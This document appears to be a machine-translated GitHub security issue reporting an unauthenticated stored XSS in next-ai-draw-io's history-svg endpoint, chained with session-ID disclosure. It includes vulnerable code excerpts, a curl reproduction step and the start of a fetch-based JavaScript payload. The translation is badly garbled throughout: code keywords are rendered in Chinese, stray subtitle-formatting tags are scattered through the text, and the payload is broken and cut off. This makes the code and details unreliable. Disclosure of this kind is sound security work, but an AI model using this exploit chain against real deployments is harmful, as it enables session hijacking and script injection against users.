[安全]通过未经认证的POST/api/history-svg存储XSS(与会话ID披露链接)

作者: HK4zCzi创建于 2026年8月10日更新于 2026年8月10日

注:关于该问题的私营安保咨询已经开放并被接受(GHSA-rv7m-56x2-7q2c)。 根据维护者的指导,按要求提交这一问题,以跟踪CVE请求/后续行动。

□ 总结

POST /api/history-svg'端点接受任何呼叫者的任意svg'字符串而无需认证,并将其直接写入服务器侧历史商店。 当一个合法的用户后来打开历史面板时,服务器通过“内HTML”使所有存储的“svg”值不进行消毒,在“本地主机”源头执行攻击者的JavaScript。

与会话ID披露问题( " GET / " 在未指定会话时自动重定向到 " /?mcp- sindern CessionId- " )相结合,它成为一击存储的 XSS 链条:攻击者只需要发送单一链接,在被攻击者点击后无需再进行互动.

□ 细节

  • 写方——无认证( " http-server.ts " 第429至456行)

函数处理器 HistorySvgApi( req, res): 无效 { // 没有令牌, 没有会话检查, 没有 API 密钥—— 任何呼叫者接受 已读取 : const { sessionId, svg } = JSON.parse(正体) 更新 LastHistorySvg( 会话Id, svg) // 原始 svg 写入存储 第200,...号决议 ) (中文(简体) ). {\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?


* 阅读侧-DOM XSS相槽(991-996行)


storyGrid.innerHTML = historyData.map ((e,一) * *) `
<div class="历史-项目"数据-idx="${e.index}"
<div class="thumb" >${e.svg?}\\\img src=="${e.svg}"\":"#"+e.index\/div"
. . . . . . . .
</div> (中文(简体) ).
`') 加入(');

e.svg'被逐字插入到``img src=''.属性。 “ x” 等值的“ alert(1)” 关闭“ src” 属性并注入事件处理器。

  • 会议ID披露( " http-server.ts " 第267至273行)

如果 (! sessionId) { 最近一届会议 = 获得最多 如果(最近一次会议){ 重新写出标题( 302, { 位置 :` /? mcp=${最近的会议- } ) 后端( ); 返回 {\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢? {\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?


任何脚本——包括被注入的XSS——都可以叫出"fetch ("/")",从重定向URL读取真实会话ID.

□ 用于核查的环境

- 软件包:从源头建造的`npm run building'
- 服务器通过真正的MCP切入点开始于stdio:`node dist/index.js'
- MCP工具按顺序调用:`启动-会议'-`创建-新-图表'
- 在“http://localhost:6002”上自动启动HTTP服务器

□ 复制步骤

1. 确认会话ID在没有认证的情况下可以发现:
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?
卷曲 -s -o /dev/null -w "%{ rediction url" http://localhost:6002/

产出:http://localhost:6002/?mcp=mcp-XXXXXXXX-XXXXXX-XXXXXX`.

  1. 制造能读取真实会话ID的有效载荷,并将XSS有效载荷放入`/api/history-svg':
"; (ftch ('/').then (r=>{const s= new URL (r.url).searchParams.get ('mcp'); ftch (''/api/history-svg',{方法:'POST',发牌人:{'Content-Type':'application/json'}},body:JSON.stringify ({sessionId:s,svg:'x")
. . . . . . .

内容来源: DayuanJiang/next-ai-draw-io